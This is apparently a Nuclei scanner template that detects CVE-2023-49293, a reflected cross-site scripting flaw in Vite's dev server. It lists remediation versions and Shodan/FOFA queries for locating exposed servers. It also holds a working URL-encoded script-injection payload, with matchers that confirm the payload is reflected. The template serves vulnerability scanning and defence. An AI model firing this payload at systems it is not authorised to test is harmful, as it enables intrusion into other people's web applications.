id: CVE-2023-49293

info:
  name: Vite dev server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
  impact: |
    Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
  remediation: |
    Update to vite@5.0.5, vite@4.5.1, or vite@4.4.12.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49293
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49293
    epss-score: 0.00997
    epss-percentile: 0.5813
    cwe-id: CWE-80
  metadata:
    max-request: 1
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,vite,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022050b4a5e18c6c32334c10804b58c5b43d84d183eecf7e6f974d6fc28d16b22536022100c0a43a71f7b8ada3f68aa3341251e11c067991a376e93e924a3eca7ca7925fc3:922c64590222798bb761d5b6d8e72950